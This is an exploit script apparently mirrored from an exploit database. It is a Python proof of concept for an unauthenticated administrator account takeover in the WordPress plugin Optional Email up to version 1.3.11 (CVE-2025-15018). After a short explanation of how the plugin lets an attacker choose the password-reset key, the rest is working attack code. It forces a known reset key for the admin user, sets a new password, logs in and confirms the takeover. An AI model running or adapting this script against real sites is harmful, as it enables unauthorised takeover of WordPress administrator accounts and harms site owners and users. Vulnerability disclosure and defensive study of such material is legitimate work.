Share
## https://sploitus.com/exploit?id=PACKETSTORM:226440
#!/usr/bin/env python3
# Exploit Title: WordPress Plugin Optional Email <= 1.3.11 - Unauthenticated Administrator Account Takeover (Reset-Key Poisoning)
# Google Dork: N/A
# Date: 2026-07-10
# Exploit Author: A. Ramos <aramosf@gmail.com> / @aramosf
# Vendor Homepage: https://wordpress.org/plugins/optional-email/
# Software Link: https://downloads.wordpress.org/plugin/optional-email.1.3.11.zip
# Version: 1.3.11 (REQUIRED)
# Tested on: WordPress 6.6.2, PHP 8.2, MariaDB 10.11 (Docker, Debian 12 / Linux)
# CVE : CVE-2025-15018
r"""
Optional Email <= 1.3.11 unconditionally hooks WordPress's `random_password` filter
(optional-email.php:51) with oe_reg_password(), which returns $_POST['user_pass'] when present
(optional-email.php:44), with no check that the current flow is a registration.
WordPress's get_password_reset_key() mints the reset key via wp_generate_password(), which runs the
`random_password` filter. An unauthenticated attacker triggering a password reset for `admin` while
sending user_pass forces the stored reset key to a value they choose; they then complete the reset
with that known key and set a new administrator password -> full account takeover.
Prior state: plugin active (no registration form required โ the filter is added unconditionally).
"""
import argparse, sys
import requests
requests.packages.urllib3.disable_warnings()
def main():
ap = argparse.ArgumentParser()
ap.add_argument("--target", required=True)
ap.add_argument("--admin", default="admin")
ap.add_argument("--key", default="Oekey1234567890abcd")
ap.add_argument("--newpass", default="OePwned!2026")
args = ap.parse_args()
base = args.target.rstrip("/")
s = requests.Session(); s.verify = False
s.get(base + "/wp-login.php?action=lostpassword")
s.post(base + "/wp-login.php?action=lostpassword",
data={"user_login": args.admin, "user_pass": args.key,
"wp-submit": "Get New Password", "redirect_to": ""}, allow_redirects=True)
s.get(base + "/wp-login.php?action=rp&key=%s&login=%s" % (args.key, args.admin), allow_redirects=True)
s.post(base + "/wp-login.php?action=resetpass",
data={"pass1": args.newpass, "pass2": args.newpass, "rp_key": args.key,
"user_pass": args.key, "wp-submit": "Save Password"}, allow_redirects=True)
a = requests.Session(); a.verify = False
a.get(base + "/wp-login.php"); a.cookies.set("wordpress_test_cookie", "WP+Cookie+check")
lr = a.post(base + "/wp-login.php", data={"log": args.admin, "pwd": args.newpass,
"wp-submit": "Log In", "redirect_to": base + "/wp-admin/", "testcookie": "1"},
allow_redirects=False)
logged = "wordpress_logged_in" in lr.headers.get("Set-Cookie", "")
print(f"[*] Target: {base} | victim: {args.admin} | forced key: {args.key}")
print(f"[*] login as {args.admin} with attacker password: {logged}")
if logged:
print(f"\n[+] ACCOUNT TAKEOVER CONFIRMED โ administrator '{args.admin}' reset by an "
f"unauthenticated attacker; logged in as administrator.")
return 0
print("\n[-] not confirmed"); return 1
if __name__ == "__main__":
sys.exit(main())